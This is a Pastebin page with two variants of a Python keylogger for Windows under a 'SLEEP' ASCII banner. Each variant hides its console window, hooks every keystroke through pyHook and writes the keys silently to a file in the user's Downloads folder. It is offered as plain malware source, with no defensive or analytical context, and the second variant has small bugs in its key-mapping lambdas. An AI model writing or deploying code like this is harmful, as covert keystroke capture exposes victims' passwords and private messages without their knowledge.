Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ----------------------------------------------------------
- ----------------------------------------------------------
- import win32console
- import win32gui
- import pythoncom
- import pyHook
- import os
- print("""
- \x1b[38;2;255;255;255m███████╗██╗ ███████╗███████╗██████╗
- \x1b[38;2;255;255;255m██╔════╝██║ ██╔════╝██╔════╝██╔══██╗
- \x1b[38;2;255;255;255m███████╗██║ █████╗ █████╗ ██████╔╝
- \x1b[38;2;255;255;255m╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝
- \x1b[38;2;255;255;255m███████║███████╗███████╗███████╗██║
- \x1b[38;2;255;255;255m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝
- \x1b[38;2;0;255;58m>(setup)""")
- # Hide the console window
- win = win32console.GetConsoleWindow()
- win32gui.ShowWindow(win, 0)
- # Define the output file path using the default user path
- output_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'output.txt')
- # Create or clear the output file at the start
- with open(output_file, 'w') as f:
- f.write('Incoming keys:\n')
- # Define key action functions
- def handle_ctrl_e(event):
- _exit(1)
- def handle_enter(event):
- return '\n'
- def handle_default(event):
- return chr(event.Ascii)
- # Create a dictionary to map key codes to handling functions
- key_action_map = {
- 5: handle_ctrl_e,
- 13: handle_enter
- }
- # Default handler function if no specific action is defined
- def get_key_action(event):
- return key_action_map.get(event.Ascii, handle_default)(event)
- # Define the event handler function
- def OnKeyboardEvent(event):
- if event.Ascii != 0 and event.Ascii != 8: # Ignore null and backspace
- keylogs = get_key_action(event)
- with open(output_file, 'a') as f:
- f.write(keylogs) # Append the key logs
- # Set up the hook manager
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- ----------------------------------------------------------
- ----------------------------------------------------------
- Part 2
- ----------------------------------------------------------
- ----------------------------------------------------------
- import win32console
- import win32gui
- import pythoncom
- import pyHook
- import os
- # Print the initial setup message
- print("""
- \x1b[38;2;255;255;255m███████╗██╗ ███████╗███████╗██████╗
- \x1b[38;2;255;255;255m██╔════╝██║ ██╔════╝██╔════╝██╔══██╗
- \x1b[38;2;255;255;255m███████╗██║ █████╗ █████╗ ██████╔╝
- \x1b[38;2;255;255;255m╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝
- \x1b[38;2;255;255;255m███████║███████╗███████╗███████╗██║
- \x1b[38;2;255;255;255m╚══════╝╚══════╝╚══════╝╚══════╝╚═╝
- \x1b[38;2;0;255;58m>(setup)
- """)
- # Hide the console window
- win = win32console.GetConsoleWindow()
- win32gui.ShowWindow(win, 0)
- # Define the output file path using the default user path
- output_file = os.path.join(os.path.expanduser('~'), 'Downloads', 'output.txt')
- # Create or clear the output file at the start
- with open(output_file, 'w') as f:
- f.write('Incoming keys:\n')
- # Key mapping for different actions
- key_map = {
- 5: lambda: _exit(1), # Ctrl + E exits the program
- 13: lambda: '\n', # Enter key generates a newline
- }
- # Default action for other keys
- default_action = lambda event: chr(event.Ascii)
- # The main event handler function
- def OnKeyboardEvent(event):
- action = key_map.get(event.Ascii, default_action)
- keylogs = action(event) if callable(action) else action
- if event.Ascii not in [0, 8]: # Ignore null and backspace
- with open(output_file, 'a') as f:
- f.write(keylogs) # Append the key logs
- # Set up the hook manager
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- ----------------------------------------------------------
- ----------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement